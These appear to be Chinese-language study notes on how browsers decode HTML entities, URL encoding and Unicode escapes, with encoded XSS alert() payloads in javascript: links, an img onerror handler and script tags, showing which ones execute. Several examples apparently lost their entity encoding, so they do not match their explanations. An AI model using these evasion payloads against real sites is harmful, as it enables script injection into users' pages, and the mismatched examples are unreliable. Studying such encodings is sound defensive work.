URL 编码 "javascript:alert(1)"---->%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>-------浏览器解析不了。 页面识别在url解码之前,在识别标签和属性的时候还没解码,页面就不认识这串编码,不会把它们当作 JS 代码执行 <a href="javascript:%61%6c%65%72%74%28%32%29"> 页面识别的时候,已经进行HTML实体解码,变成了<a href="javascript:%61%6c%65%72%74%28%32%29">aaaaa</a>浏览器会识别它为可执行JS代码。 页面的解析顺序:html实体编码---->urlencode---->unicode
<a href="javascript%3aalert(3)"></a> 不能识别 因为“:”被url编码了,javascrip:才能被浏览器识别为可执行JS代码。
<div><img src=x onerror=alert(4)></div>---HTML字符实体编码 < 和 > 能解码但是无法解析 把“<”和“>”HTML实体编码后不会进入标签开始状态(涉及到html的状态机制)
<textarea><script>alert(6)</script></textarea>-----无法解析 RCDATA元素(RCDATA elements),有<textarea>和<title> 。可以容纳文本和字符引用。但是一旦有字符引用可能就无法进入标签开始状态大概率利用不了。
<script>alert(9);</script> 原始文本元素(Raw text elements),有<script>和<style>,可以容纳文本。只能把里面的内容当做文本 利用不了 <script>\u0061\u006c\u0065\u0072\u0074(10);</script> JavaScript引擎在解析代码时,会先处理Unicode转义,然后再执行代码。 解析后的代码:<script>alert(10);</script> <script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>(JS严格区分大小写,不能对符号编码) <script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>不能解析 JS将解码后,会认为它是一个字符串,字符串要用单引号引起来。 <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)">aaa</a> 首先被解码为javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15) 此时浏览器会识别它为可执行JS代码,然后会进行urlencode解码\u0061\u006c\u0065\u0072\u0074,然后进行unicode解码alert